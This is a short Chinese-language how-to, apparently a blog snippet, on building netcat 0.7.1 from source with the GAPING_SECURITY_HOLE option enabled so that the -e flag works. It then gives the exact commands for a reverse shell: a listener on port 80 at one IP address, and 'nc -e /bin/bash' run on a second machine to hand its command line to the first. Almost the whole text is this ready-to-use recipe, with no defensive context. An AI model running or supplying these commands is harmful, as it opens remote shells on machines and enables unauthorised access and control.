Linux编译nc
Linux自带的或通过apt-get、yum安装的nc不带-e选项,需要自己编译。
wget http://ncu.dl.sourceforge.net/project/netcat/netcat/0.7.1/netcat-0.7.1.tar.gz
tar zxvf netcat-0.7.1.tar.gz
cd netcat-0.7.1
./configure --enable-DGAPING_SECURITY_HOLE
make
make install
然后就可以使用-e选项实现反向连接。假如198.211.30.26监听80端口,想把99.1.36.164的命令行反向连接到外网机器。
198.211.30.26上执行:
nc -l 80
99.1.36.164上执行:
nc -e /bin/bash 198.211.30.26 80
198.211.30.26上就已获得99.1.36.164的命令行。